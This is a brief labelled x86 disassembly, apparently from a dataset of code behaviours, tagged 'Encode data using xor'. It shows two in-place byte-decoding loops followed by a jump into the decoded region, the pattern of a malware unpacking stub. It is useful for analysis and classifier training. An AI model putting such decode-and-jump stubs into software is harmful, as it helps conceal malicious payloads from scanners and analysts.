Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx